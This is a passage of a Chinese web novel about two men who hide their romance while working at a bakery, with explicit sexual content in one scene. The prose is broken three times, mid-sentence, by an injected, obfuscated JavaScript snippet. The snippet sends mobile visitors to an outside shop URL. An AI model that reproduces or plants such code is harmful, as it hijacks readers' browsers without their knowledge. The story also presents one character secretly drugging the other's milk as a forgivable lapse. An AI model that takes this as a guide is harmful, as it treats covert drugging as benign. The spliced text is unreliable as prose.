郑芷帮着他装袋,对兄妹也有印象,好奇兄妹后续:“所以他们现在的监护人是谁?” 卢答解释道:“名义上的监护人是父母生前的一位朋友,实际上的监护人由基金会负责,基金会派了员工住在他们隔壁,日常照顾他们俩。”* “那现在他们住哪儿,你骑车方便吗,要不要我送你?”郑芷很热心,已经准备掏电瓶车钥匙了。 卢答眨眨眼睛:“小芷,你不知道吗?”郑芷指指自己,不解:“我应该知道吗?” 卢答笑,回答她:“是你非常熟悉的地方。” 19. 一起吃饭 郑芷看着面前熟悉的砖红色小楼,有点无奈:“就这儿啊?” 她怎么也没有想到兄妹搬到了光明公寓。 “对啊,”卢答忍笑,“你还可以顺便去慧姨家喝碗汤。” “她最近可是大忙人,哪有时间煲汤。”郑芷抱怨。但来都来了,郑芷还是准备上楼一趟,去看看她妈有没有需要添置的东西。 卢答告诉她兄妹俩的房号,先一步上了楼。 卢答站在306门前,敲了敲门。 门内传来凳子拖拽的响动,估计里面的人正爬到凳子上,往门外观察。 卢答好整以暇等待着,还有空冲隔壁听到动静,推门出来的基金会工作人员挥挥手。 工作人员认识卢答,冲他点点头,缩回门里去了。 隔着一扇门,铁链碰撞的声音沉闷。常安不熟练,花了点时间才解开防盗锁,开了门,他惊喜道:“哥哥,你怎么来了!” 卢答先夸他:“很好嘛,要继续保持这种警惕意识。” “来给你们送点吃的,”卢答把手上的纸袋递给常安,“常乐呢。” 常安接过来:“她已经睡了,谢谢哥,进来坐坐吧。” “不啦,”卢答笑着摸摸他头,“太晚了,下次再来看你们。” “有事就找隔壁的哥哥帮忙,别不好意思。”卢答又嘱咐了常安几句话,才道别离开。 快走出楼道时,卢答回头看,常安果然还站在门口。对上卢答的视线,还冲他挥挥手。 卢答忍不住笑,又把笑收住,手背向外掸掸,示意常安快点回去。他站在原地,给郑芷发消息转告她下次再来,直到见常安关上门才离开。 * 回到401门口,卢答一边摸钥匙开门,一边习惯性地看了眼对门。冉让的房门紧闭,不像平时一样敞着条缝漏光。 卢答甚至揉了揉眼睛,再次确认了一遍自己没看错:冉让怎么换战术了,放弃守株待兔,改用欲擒故纵了? 卢答想给冉让发条消息,又觉得这样会显得自己特别关注他,遂作罢。他轻手轻脚地把手里的东西挂到402的门把手上,回了自己屋。 卢答进门,继续埋头钻研留青,自然不知对门屋里冉让的心境变化。 * 天色已暗,冉让恍若未觉,眼睛只盯着屏幕。 他拆了衣柜,又把床移到窗边,在卧室腾出的地方新装了电脑和人体工学椅。此时屏幕蓝盈盈的光海波一样泛在他脸上,更显得冉让骨相冷峻。 冉让很不虞。 他扯扯嘴角,食指扣扣桌子,笃笃声透过收音器传到会议其他人的耳朵里,一群人头缩得像鹌鹑。 冉让凉凉道:“你们写出来的东西自己根本不看是吗?” 团队最近的研究方向是仿生材料,和某个实验室合作。冉让带的一组已经把负责的那部分编译器代码写好了,但二组的新进展可谓微乎其微。 “行了,”冉让按了按眉心,看着一堆苦瓜脸,尽量让语气和缓点,“别丧脸,早改早结束。” 没人敢反驳他,毕竟他一个人承担了最多的工作量。 改得天昏地暗,埋头代码间,会让人忘记时间的流逝。 冉让起身去泡了杯咖啡。苦味冲撞舌根,他啧了一声,手捞过桌下的糖罐,眼睛还盯在屏幕上,看也不看地摇晃糖罐。一堆方糖噼里啪啦落进咖啡。 再喝一口,又苦又甜的味道在舌尖蔓延开。冉让蹙眉,一边喝,一边漫不经心地瞥了眼时间,看清楚时间的那刻,原本淡漠而不耐的表情突然凝固住。 “让,”克拉斯偷看一眼冉让,用不标准的普通话说,“你的脸好难看,比诺兰在布里斯班被偷钱时还难看。” 冉让懒得理他,快步走到门口。透过门缝,能看见卢答已经灭了灯。 冉让下意识往前走了几步,想起卢答今天不甚爽利的模样,脚步一顿。 嗯,让卢答歇一天也行。 冉让在要不要偷个晚安吻之间纠结了一会儿,觉得自己的自制力在面对卢答时约等于零,终究还是决定放弃了。 他抿着唇,慢慢退回去,手放到把手上时,突然感觉到触感不对。 冉让低头一看,门上挂着纸袋。他翻了下,看到是蜂蜜小面包,下面还压了两块小竹片。 本来落寞又失望的坏心情不翼而飞,冉让阴着脸出来,喜气洋洋地回去。 摄像头没关,克拉斯不怕死地对华裔同学地说:“让这样,怎么说的来着?被鬼上身,是这样吗?” 冉让看了他一眼,不怒反笑,克拉斯突然觉得背后一凉。 只听冉让慢悠悠道:“嗯,中文里对你这种干最少活话还最多的人也有个说法,你想听吗?” 克拉斯低头装死:“不。” “那就继续吧,”冉让看了眼时间,“抓紧点四点前能歇。” *** 卢答端着黄油走进后厨,郑萱抬起头,看见他笑了:“你进来干什么,总不能是学做面包吧?” 卢答把黄油放进冰柜,煞有介事:“我来偷师,看看丘市最美味最可口最蓬松的面包是怎么制作出来的。” “就贫嘴。”郑萱笑话卢答,又给他切了片刚出炉的吐司,卢答不爱吃太甜的东西,但牛奶吐司非常对他的胃口,于是欣然接过。 正好店里现在没人,卢答就站在后厨门口吃了,离操作台远远的。 郑萱给蛋糕裱花的动作流利丝滑,一挤就是一朵奶油花,非常具有观赏性。 卢答看了会儿,把目光投向冉让。 冉让戴着口罩,鼻梁把口罩顶得很高,眼窝微深,眉峰立体。 后厨很热,烤箱散发着源源不断的热气,冉让的几缕发丝贴在了额头,愈发显得五官深刻俊拔。 卢答的目光就在蛋糕和冉让之间来回打转着,一次满足两种欲/望。 冉让把一盘碱水包推进烤箱,才转过头,正撞上卢答不加掩饰的目光,他朝着卢答挑眉,眼里有揶揄。 卢答也学他的样子挑回去,只是他眉也纤,睁圆眼睛,挑眉的表情非但没有冉让的痞气,鼻根小痣一动反而显得可爱。 冉让口罩下的嘴角微勾。 郑萱嫌卢答站门口碍眼,要赶他去看前台。卢答吃完吐司片,去洗了个手,戴上口罩,开始耍赖:“我也想学做面包嘛。” 郑萱拗不过他,想着左右今天生意不忙,转而看向冉让:“小冉你带着他玩一会儿,成不。” 冉让虽然是个新手,但也是个非常熟练能干的新手,带卢答这样的纯新手绰绰有余。只是郑萱不知道性子冷淡的冉让会不会同意。 “什么玩一会,我是认真的啦。”卢答抗议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344680|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉让微攒起眉,下三白眼垂着,状似在思考,过了一会儿,摆出一副不太情愿的模样,应道:“好吧。” 卢答看着冉让勉为其难的样子,在心底偷偷唾弃他:“装什么。” 但是卢答很识相,只轻轻嗤了一声,就靠到冉让身边,让他教自己做面包。 冉让从基础的开始教他,让卢答去敲几个蛋。 敲蛋卢答熟,毕竟在家也经常帮着备菜,他戴上手套,有点笨拙地分离了蛋清和蛋黄,又端过来给冉让。 “然后呢?” 习惯性使然,卢答靠得很近。 他戴着口罩,更显得琥珀眼又圆又大,卷翘睫毛一扑一扑。距离太近,头几乎挨着冉让上臂。 冉让感觉肌肉一紧,默默站直了:“别靠太近。” 卢答不知道他的心理活动,嘴角抽抽:“怎么,你对人过敏?” 冉让一本正经:“我不习惯和不熟的人靠太近。” “好的,”卢答往后退了三步,每一步都铿锵有力,“这样的距离您看如何?” 冉让只是想让他站稍微远一点,毕竟一走进卢答身上的橙花香就往自己鼻子里钻,他不明白后厨黄油味这么重,卢答身上的香味怎么还这么明显。 但看卢答和自己之间的天堑,他轻咳:“……可以站近一点。”倒也不用离这么远。 卢答严肃道:“是吗,可是我觉得按照我们目前的关系,保持这样的距离刚刚好。” 他们这边说得一来一往,只是声音不大,又隔着口罩,郑萱没听清,只是略有点奇怪:要说两人熟吧,平时也没看出来。但要说不熟吧,谈话又有来有往的,寡言的冉让话也变多了。 两个人之间,有一股自如的,他人很难插入的氛围。 郑萱看着冉让和卢答斗嘴,笑了一下,低头继续给蛋糕裱花。 冉让和卢答身上都有秘密,她知道。但她无意探究,毕竟这个世界上,是人都会有秘密。 * 早班结束,郑芷来和冉让换班。又正好快到了午饭点,决定先和卢答去吃饭。 卢答在收拾东西,冉让看了眼他,又看了眼郑芷,从兜里拿出手机,有一下没一下滑着屏幕,放慢了脚步。 郑芷转头看见冉让,一拍脑袋,热情邀请他:“干脆吃个饭再走吧,正好大家可以一块儿。” “你家里有饭等着吗?” 身后卢答猝然转头,看过来,呆呆地和冉让对视上。 “没。”冉让慢吞吞地冲卢答笑了一下,身上萦绕的冷意降低些许,他慢条斯理地把手机放回口袋里,又顺手理了下胸口的项链:“家里没人。我和你们一起去吧,卢答不介意吗?” 郑芷原本只是顺嘴邀请,毕竟冉让长相摆在那里,总让人觉得不好接近,没想到他真会答应。 她晕乎乎地把头转向卢答,等着他回答,但心里不觉得卢答会拒绝。毕竟卢答开朗友善,并不介意和新朋友一起吃饭。 卢答果然答应下来:“好啊。” 他扯扯嘴角:“我怎么会介意?” 不知为何,郑芷居然看出点皮笑肉不笑来。 她眨眨眼睛,又看一眼卢答,但卢答笑得和平时一样如沐春风,对上郑芷的视线,还歪了歪头:“怎么了?” 郑芷摇摇头,把视线收回来,想:刚才果然是错觉吧。 20. 月亮的明 吃饭的店铺不远,是面包店再步行一条街就能到的快餐店。便宜量大,但味道一般的那一家。 不是饭点,顾客没多少,坐得也稀稀落落,空桌很多。三人选了一张离取餐处近的桌子落座。 四人位,冉让、卢答坐一排,郑芷坐在了他们对面。 柜台里的菜还没上齐,几人便从菜单上勾选,各自点了想吃的菜。 点完菜,一时间没人说话。 郑芷左看右看,决定缓和一下气氛,还没来得及开口,就见对面的冉让和卢答同时从口袋里摸出手帕纸,两个人一齐擦起了桌子。 动作一致,像事先演练过一样整整齐齐。 “啊?” 这是什么饭前仪式吗? 郑芷摸不着头脑,下意识也抽了张纸和他们一起擦。桌面上出现第三只手,冉让和卢答动作一僵,才反应过来自己做了什么。 冉让轻咳,又快速地擦了两把身前的位置,把纸团往桌角垃圾桶一丢,站起身:“我去接热水。” 郑芷也要跟他一起:“我去吧,你应该不知道在哪。” 卢答叫住郑芷:“没事,小芷你坐着就好。” 他头也没回,道:“在打汤的右边再往里走几步,有排热水壶。” 冉让点点头,转身去了。 郑芷又稀里糊涂地坐下,和卢答一起拆开餐具塑封。 冉让回来得很快,卢答头也不抬,把三幅餐具推到他面前。冉让面色未变,接过来、烫餐具的一连串动作行云流水。 卢答则又拆开一次性筷子,磨着上面的倒刺,睫毛低垂,侧脸是和冉让如出一辙的认真。 自始至终,两个人都没有过对话,甚至连对视也没有,却能立马领会到对方的意思,配合无比默契。 郑芷看着两个人的动作,突然道:“哇,你们真的好默契。” 坏了,又把习惯带出来了。 卢答心里一突,偷觑一眼郑芷,见她神情并无异样,才笑着替自己开脱。 “有吗?”卢答捏着筷子末梢,递给她:“可能冉让和我比较有缘。” 没曾想冉让也正好把烫好的餐具推给郑芷,两人伸手的动作又诡异地配合上了。 “嗯。”冉让收到卢答的信号,慢一拍颔首:“有缘。” 郑芷笑了:“你看。” 她眨眨眼睛,有点不好意思:分明她是抱着关照新员工的想法,结果反被新员工和卢答照顾了。 冉让长相使然,即使动作娴熟,但连倒开水时都更像要把人浇死而不是烫餐具。 郑芷最开始也有些怕他,不过在面包店一起工作了几天后她早已改观:冉让是面冷心热那一类人,话不多,做事很靠谱。 不一会儿,三个托盘端上来,一碟碟菜铺满了桌面。除了单子上的菜品,还多出三碗蛋羹和三碗梅菜扣肉。 郑芷又对一遍单子,疑惑:“我们没点这个吧。” 卢答有点惊讶,扬声叫住上菜的阿姨:“阿姨,蛋羹和扣肉上错了,不是我们点的。” 他声音清亮,柜台后的老板听到后探出头:“送你们的。” 他大概四十出头,一张脸笑得似弥勒佛,红光满面。 两家店离得近,面包店的人常来光顾,本就和老板混了个脸熟,上次两人走得太快,老板都没来得及说不用赔钱。 “谢谢阿叔。”卢答承情,笑眯眯道谢,他是这三人里最能言善辩、擅长和别人打交道的人,此时也自觉地承担起了沟通及表达谢意的责任:“阿叔生意兴隆啊。” 卢答又和老板拉几句家常,几人才低头吃饭。 和不太熟的人一起吃饭总觉拘谨,郑芷把一口饭来来回回嚼了五六次,在心里盘算着要聊点什么,想了会儿还是觉得尴尬,便索性打开手机。 她刷着短视频,看完新推送,眼睛发亮,对卢答道:“过几天有英仙座流星雨。” 她一抬头,冉让往卢答碗里送虾的手一拐,把虾扔回了自己碗里。 郑芷没注意到他的动作,兴致勃勃:“视频里说的观测点离我家还挺近的。” 卢答镇定地把嘴里的虾肉咽下去,凑过去看:“是欸,那是不是在公寓顶层也能看到。” 郑芷想了想:“能吧,附近光污染也不严重。” 卢答打开日历,推算了一下时间:“这周末是农历初三,有新月。” 两个人顺势聊起了到时候能去哪看,冉让不说话,低头继续剥虾。 虾是白灼的活虾,食材好,又没过多加工,味道在一众菜品间美味得突出,冉让给卢答剥了大半碟,卢答吃得很开心。 冉让看了眼卢答,觉得他现在聊得也挺开心的,想必是顾不上吃虾了。 卢答正和郑芷聊得有来有往,听到了消息提示音,下意识摸出手机,笑着对郑芷道:“稍等。” 【R】:我吃掉了。 卢答看过去。 见冉让对上自己视线,挑衅般地一口全闷了,吃得左颊微鼓,在他冷峻的脸上显得违和。 幼稚鬼。 卢答在心里轻哼,他长大了,早就不护食了。 他手指轻点,给冉让回了条消息,转头继续跟郑芷说话。 冉让面无表情嚼着,打开看卢答的回复,意料之中。 【巧克力几分熟】:吃一赔十。 【巧克力几分熟】:∧∧ * 郑芷把送的那份蛋羹吃完了,抽了张纸,见卢答的蛋羹还放在餐盘边,只舀了一勺,似乎是吃不下了。 斜上方伸出一只线条流畅的小臂,冉让自然地端走,就着卢答舀的缺口继续吃。 郑芷心直口快:“冉让你拿错了!这是卢答的。” 卢答正笑着和她说话,余光太过熟悉冉让的身影,根本没意识到发生了什么,此时终于反应过来,瞪了一眼冉让。 你又这样。 冉让目移,避开了卢答的视线,两口吃完那碗蛋羹,才擦擦嘴道:“拿错了,不好意思。卢答应该不介意吧?” 似曾相识的对话。 卢答:。 卢答面上风轻云淡:“我怎么会介意?你不介意就好。” *** 吃完饭,几人一起走回去,在面包店门口告别。卢答先进门,冉让站在原地。 郑芷注意到冉让,问:“冉让你不走吗?” 冉让在思考怎么让自己的话不那么奇怪:“……能上连班吗。” 郑芷简直匪夷所思:“你这么爱上班?” 冉让轻咳:“缺钱。” 你看起来根本不缺钱好吗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344681|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑芷不理解但尊重:“那你去找我姐问问,不过现在人手应该够了,你要不再找个……” 话音未落,郑萱跑出来,见冉让还在,眼睛一亮:““小冉,你下午还能上班吗?”卢答告诉她冉让要走了,她还担心错过。 郑萱转而对疑惑的郑芷解释:“新来了个大单。”后厨人手不够,卢答又上不了手,她只能寄希望于冉让。 郑萱问着,心里却没抱多大的期待,没想到冉让一口答应了下来。 “那好,”郑萱把两人一齐拉进门:“接下来要忙起来了。” * 郑慧牵着童童进门时,面包店里空无一人。她叫了几声,问:“人都去哪儿了?” 卢答听见风铃声,从里面掀帘出来:“都在后厨呢,慧姨。” 后厨需要人,他很快地回去了,只来得及和童童打了个招呼。 郑慧和童童站在后厨口,看里面忙成一团,郑慧看着忙忙碌碌的众人:“这么忙吗?” “还不是因为妈,”正在调配面团的郑萱有点没好气道,“突然就说明早要几百人份的面包,不抓紧点怎么来得及。” 郑慧有点不好意思,但又拉不下脸:“妈这也不是想着帮你招生意嘛。” 郑慧在的舞团要举办庆祝大会,场地和餐饮都早已提前定好,但在今天中午,原本的点心提供者老家出事,回老家去了。 事发突然,而筹办庆祝会的人不知从哪儿打听到了郑慧女儿开着面包店,问她能不能来救急,给双倍的价格。 郑慧热心,一口答应了下来。 郑萱看着她妈,轻轻叹了口气。 做倒是能做,只是很赶时间,几百人份的面包,备料、发酵和分割都需要时间。 经过卢答的建议和与筹备者的沟通,最终郑萱决定提供蜂蜜小面包和盐可颂,一来这两款好评如潮,二来能减少馅料的准备,节省时间。 杨舒文被一个电话紧急叫回来加班,连卢答都被委派了打鸡蛋的任务,郑萱忙得连晚饭都没顾得上吃。 郑慧看着忙忙碌碌的几个人,带着童童轻手轻脚退出去,帮着看了会儿店。童童坐在小桌子上写作业,不用人再管,很乖。 郑慧想起了什么,一拍脑袋,转头问童童:“童童啊,你不是说和外婆说找小卢有事吗?” 童童看着忙碌的后厨,咬着笔头纠结了一会儿,最终摇摇头:“没事。” * 离开面包店时,已近凌晨。夜色阒寂,天空里的星子疏朗,点点落于深沉夜空,星光隐约。 视野里,只有路灯亮着,在街边依次排开两列发光圆球,漂浮在半空。 卢答走了几步,就靠着路灯滑下来了。即使晚上他只是帮着备料和切面剂子,也还是累够呛。 卢答蹲着发呆,冉让也站在路灯旁,跟随着他,不发一言,沉默而忠诚。 卢答抬头看了会儿天,灯光晃眼,他本能地眯了眯眼,突然向冉让提议:“我们走回去吧?” 冉让低下头,垂眸看着他。 卢答的脸仰着,全落在光下,光晕蒙蒙,越发显得他脸皎洁,像月亮的明面,全无瑕疵,卷翘睫毛打下的阴影是他脸上唯一的暗处。 冉让忍住抚摸他琥珀色眼睛的冲动,喉结轻滚,想也没想应道:“好。” 21. 寥落的星 一起踩着月色回去,并排走着,肩不时挨蹭到另一方肩,像中学时那样。两个人的脚步声也同步地响着。 卢答看落在地上的影子,一高一低,没察觉到自己在笑。 快走到大排档,卢答想起上次买完烧烤时发生的事,笑了起来。 冉让听见笑声,别过脸看卢答。他比卢答高整整一个头,要偏着头才能看见卢答:“笑什么?” 大概是太累了,左右又无人,卢答不想再装了,有点坏心眼地问冉让:“你还记得你跟着我的那个晚上吗?” 冉让想起来自己跟在卢答身后,却差点被误认为跟踪狂的事情,抿着唇:“……我没想吓你。” “我知道呀,”卢答从他轻攒的眉头中读出赧然,笑眯眯地耍无赖:“那你请我吃顿烧烤吧。” “好。”冉让低下头,点开vx置顶,要给他发红包。 冉让今天穿的是和那天款式类似的连帽衫,显得他肩宽腿长,帽子边缘垂下来两根绳。 卢答揪住那绳,往下拉了一把,让冉让低头看自己,小声教训他:“笨蛋呀,这时候你应该邀请我一起去买。” 再说了,冉让银行卡他全绑定了,冉让发红包和卢答自己左手倒右手有什么区别。 “好的。” 冉让很听劝,把手机滑回兜里,温驯地低下头,刺刺的发好似都顺服了。他被卢答牵着帽绳走了两步,身体已经启动了自动跟随,嘴上还负隅顽抗了几句:“不要对邻居做这种事情。” “好的。”卢答学着他的语气,转过头来,动作间,橙花油的皂感泛到冉让鼻尖。 卢答笑得灿烂又随意,酒窝如一粒星:“那我要用第二次暂停权。” 随心所欲、偶尔想一出是一出。 这就是卢答。 冉让嘴角微扬,像封印解除一般,整个人肉眼可见地愉悦起来,还再次向卢答确认了:“所以现在是哪个阶段?” 他问得莫名其妙,卢答听懂了,认真思考了一下:现在是恋爱的哪个阶段? 他不太确定地道:“……热恋期?” 其实卢答也研究不明白。因为除了冷战以外,他和冉让的相处模式在哪个阶段都没有太大区别。不过,崔溯洄倒是说他俩一直都黏糊得像热恋期。 “好的。” 冉让话也多起来,原本垂在身侧的另一只手向前伸,勾住卢答晃来晃去摆来摆去的手上,从他小臂滑下去,牵住了卢答的手。 冉让头仍然微垂,让卢答方便拉着自己,但青筋分明的手却强硬地探进卢答掌心,十指相扣,反客为主。 他骨相冷峻的脸上,神情理直气壮:“那牵个手。” 冉让体温偏高,手心暖得像藏了个小火炉,热烘烘,是一种带有侵略性的姿态和温度,让卢答非常熟悉。 仿佛要把这么些天落下的接触一次性补回来一样,冉让抓得很紧。 卢答眨了眨眼睛,后知后觉啊了一声。确实很久没牵手了,卢答意外有些紧张,甚至结巴了一下:“那、那好吧。” * 纵然是半夜,老杨烧烤前的人却不少。 两个人个子高,长相出众,牵着手更是瞩目。卢答白净,笑容可亲,有人便明目张胆地观察他,冉让注意到这视线,冷冷地横过去一眼。 冉让高大,长相凶戾,一看就是个不好惹的茬儿,那人便立马别过头。 冉让轻啧,把目光收回来,手上的力度也松了,指尖蜷了一节,想抽回手。卢答察觉到冉让意图,却反扣住他的手。 卢答并不在意陌生人的眼光,甚至还有闲心和摊主老杨拉了几句家常。他姿态落落大方,并不觉得两个男人亲昵牵手是多奇诡的事情一般,让一些人都开始怀疑是不是自己过度反应了。 落在身上的视线被逐一收回,卢答用拇指在冉让掌心蹭蹭,朝着他弯弯眼睛。 买完烧烤,从烟熏火燎、鼎沸人声中走回昏暗的巷口,亮到暗的落差让人会有一瞬间错觉自己掉进了世界的哪个无名罅隙,黑暗中滋生幽与静谧。 卢答突然伸出了几丝倦意。 他打了个哈欠,站在台阶上,朝冉让伸出手,一句话也没说。冉让便在他身前半蹲下,让卢答能跳到自己肩上,还记得要把提着烧烤的手往旁边伸,免得签子扎到卢答。 冉让的背广阔而安稳,孜然、辣椒粉混杂成了暴烈的香气冲鼻,卢答却嗅到了他后颈快褪去的清凉海水味。 带着微许咸涩与腥气,让卢答觉得自己变成了海上的一艘小船。 卢答趴在他背上,几乎要睡过去。记忆的迷宫在颠簸中安息,闪烁过几丝微光。 卢答笑起来。 他很喜欢笑,开心、高兴的时候不提,连生气的第一反应都是笑。或许是搞艺术的思绪总是跳脱,冉让早已习惯卢答时不时沉浸在自己的世界里然后笑起来。 他只是掂了掂卢答,让他靠得更安稳一点。 卢答说,小声抱怨:“那家快餐没你做的好吃。” 冉让对赞美很受用:“想吃什么,我给你做。” 卢答掰着手指数:“梅菜扣肉、番茄炒蛋、辣椒炒肉,哦,你还欠我一碟虾。” 冉让笑话他斤斤计较,故意旧事重提:“蛋羹不要?” 卢答哼哼两声:“不爱吃。” 他小时候要清淡饮食,被迫吃了不少蛋羹,长大后深恶痛绝。 安静了一会儿,卢答把脸贴在冉让背上,仰起脸寻找天上寥落的星子,轻声问:“家里的香雪兰怎么样了?” 冉让想了想,说:“快败了。” 卢答听出他的些许遗憾。鲜切花胜在无需等候就有盛放,但也正因此花期短暂,不像种子或花苞慢慢生长,能陪着人更久。 大概,世界上万事万物总是两难全的。 卢答一只手圈住冉让脖子,另一只手一晃一晃,让他在前面的24h便利店停一下。 卢答从冉让背上跳了下去,进门前看了一眼他。冉让读懂卢答意思,便停住步伐,站在了门口。 卢答回来得很快。 见冉让的视线落到了自己提着的塑料袋上,里面有几瓶奶,卢答状似无意般地道:“希望这几瓶奶的封口牢固些,我总觉得我之前都喝到了杂质。 ” 他重新回到冉让背上,不知为何,觉得冉让脊背僵住。 过了一会儿,冉让突然问:“你是什么时候……”知道的? 话未出口,冉让已经勒令自己结束这个话题:“算了。” 卢答下意识抿着唇,笑容慢慢消失:“不问了?” 冉让低声应道:“嗯。” 卢答知道他想问下了药的牛奶,他本来连怎么回答都想好了,卢答会说我原谅你了,没关系。 但冉让又停住了话头,这是一个掩耳盗铃、企图翻篇的举动。 卢答讨厌这样的姿态,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344682|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛是冉让率先放弃了质问的机会,来挽回某些明明不用躲避也无需克制的东西。 卢答看着他的耳廓,在想象里描摹冉让的侧脸,眉峰、鼻梁、下颔,锋利得惹眼,但卢答知道这个人远没有看上去那么果决 他恹恹地趴回冉让背上。 冉让不给卢答机会,卢答也决定放弃了。 过了会儿,卢答抱怨:“你衣服把我脸蹭得好痛。” 冉让认错很快:“我错了。” 卢答沉默了一会儿,闷闷不乐道:“我原谅你了。” 冉让道歉很快,卢答原谅得也很快。可靠得那样近,彼此却心知肚明,仍然有些事情没解决。 卢答慢慢又重复一遍:“我原谅你了,没关系。” 冉让想,你根本不明白。我真正想对你做的那些事情,你不会原谅的。 但他什么也没说,只是应道:“好。” 卢答终于找到了那一颗非常明亮的星星,安心地闭上眼睛,放任自己在冉让的背上感受海平面的颠簸,他问冉让:“你想看流星雨吗?” 冉让说,想看的。 卢答用手臂勾住他脖子,把脸靠过去蹭了蹭,说:“那我们到时候一起去看。” 冉让说:“好,一起。” *** 吃完烧烤刷完牙,卢答躺了半天都没睡着。或许是身体累得超载了,肌肉疲乏,他的精神却十足兴奋。 他打开手机时钟,盯着哒哒走的时针,最终给冉让发了条消息。 冉让回得很快:“你确定?” 下一秒,门口传来了敲门声。 清醒的时候,感官总是太超过。 卢答抿着唇,仍然有细碎的声音泄出唇齿,冉让吻他耳后,带着安抚气息:“这两天很累,我不会太过分的。” 他一只手搂着卢答,另一只手从他后颈往下,蛇一样滑进衣领,不一会儿,卢答就猝然一震,开始剧烈地发抖。 仅仅是一指,但太灵活了。冉让常年打球,指腹留下了一层薄茧。粗糙的表面揉捏软肉,卢答双腿紧并,绞在了一起。 冉让啄吻他脸颊,见他口涎都含不住,舒服得眼睛翻起来,眼泪哗哗地流下来,脸上都是睡意,枕头都要被哭湿了。 卢答吹太快,小腿剧烈痉挛到抽筋,在空中乱蹬,冉让便替他揩眼泪,轻笑,用另一只手替他揉顺小腿的筋,声音沙哑:“宝宝,怎么这么多年,还是一点长进都没有啊。” * 第二天早上面包店依旧忙碌非常,幸好卢答不进后厨,也不用去太早,只要帮着打包面包就好。 卢答打着哈欠,神情困倦,手上扎袋口的动作却很利索。 郑萱负责把小面包装进塑料袋里,机械性的工作让人烦闷,她便找话和卢答聊天,声音从口罩后面传来发闷:“你是一晚上没睡吗?” “差不多。”卢答恹恹回答,脸上的黑眼圈明显。前半晚翻来覆去睡不着,后半晚被翻来覆去,他腿软得像筛糠。冉让最终把他放下来时,卢答都不知道自己是看见圣光了还是天亮了。 他偷看一眼后厨,冉让正把发酵好的面团刷上蛋液,再送进烤箱。同样一夜没睡,但他神采奕奕。 卢答想,这真的很不公平…… 郑芷听见他喃喃,问:“你说了什么?” 卢答这才发现自己不自觉把心里话说了出来,脸上一热,低下头佯装无事:“没什么。” 22. 小吵怡情 一上午就这样辛勤劳作过去,几人紧赶慢赶,把蜂蜜面包和盐可颂打包完毕,装车送到会场。 等一切结束,郑萱看着哈欠连天的一众人,宣布面包店歇业半天,原地放假。 卢答都不知道自己怎么回的家。脚步发飘,大脑晕乎乎,记忆断在了冉让一手揽着自己,一手从门上摸出钥匙的瞬间。 等一觉睡醒,已是傍晚。 夕阳沉沉,辉光和热度都渐次熄灭,红、橙黄、粉紫和肉桂色混在一起,模糊了云层的边缘,一直追逐到遥远天边那一线蓝。 卢答拍了一张,然后趴在窗框上,手垫在下巴上,静静地欣赏眼前的一切。 光明公寓是旧居民区,六七点正是晚间最热闹的时候,不少人在院里摆开小桌吃晚饭,一边纳凉一边聊天。 卢答看到了眼熟的那几个大爷,正摇着蒲扇下棋,旁边追逐打闹的小孩跑过去,差点带起棋盘,被周大爷吹胡子瞪眼教训一通。 说是教训,也并不吓人,更像叮嘱。 “下次别乱跑了,知道不?” 几个小孩别别扭扭应声,很快跑远了。 卢答情不自禁笑了。 搞创作的固然要讲究美与质感,但决不能离生活太远。 卢答伸出手,感受吹过自己指尖的,丝丝缕缕的晚风,心情前所未有的宁静:真实生活带给人的触感和温度,是所有文学和艺术都无法相比的独特感受。 趴着看完夕落,卢答点开很久没看的家庭群,把图片发进去。 卢珏旭女士日理万机,他爸程度倒是回得很快,赞了几句天色和卢答的拍摄技术,继续嘘寒问暖,不过只字不提之前的矛盾,像要翻篇。 卢答眉心一跳,觉得他可能把自己主动发消息误认成了破冰和解的信号,在他爸问到什么时候回来时,手指动动发出去一条消息。 【巧克力几分熟】:爸爸,我是同性恋。 【巧克力几分熟】:为了您的身体着想,短时间内应该不回来了,毕竟您一见同性恋就生气。 他爸就跟被扼住脖子一样,消息戛然而止。 群里重新安静下来,卢答反而笑了,退出了聊天软件。 又坐回工作台前琢磨了会儿留青,电话铃声突然响起。卢答有点意外,很少有人给他打电话。 懒得穿鞋,他赤着脚走过去接起,听见电话那边的声音,本能地又看了眼表,换算了一下英国时间,先笑了:“刚睡醒吗?” 伦敦正中午,李银荔刚睡醒,还带着倦意,声音软乎,腔调也软绵绵的,但说话开门见山,跳过一切寒暄流程:“怎么‘宝石创造’的第三批预报名里还没有你,你不参加了?” 隔着电话,也能听出他话里的嗔怪。 性格使然,李银荔讲话像在指使人,天然带点命令感,很容易会被误会成高高在上的训斥。 卢答知道他,反而笑了,为其中隐含的关心:“我还在填表呢,前几天没确定主题。” 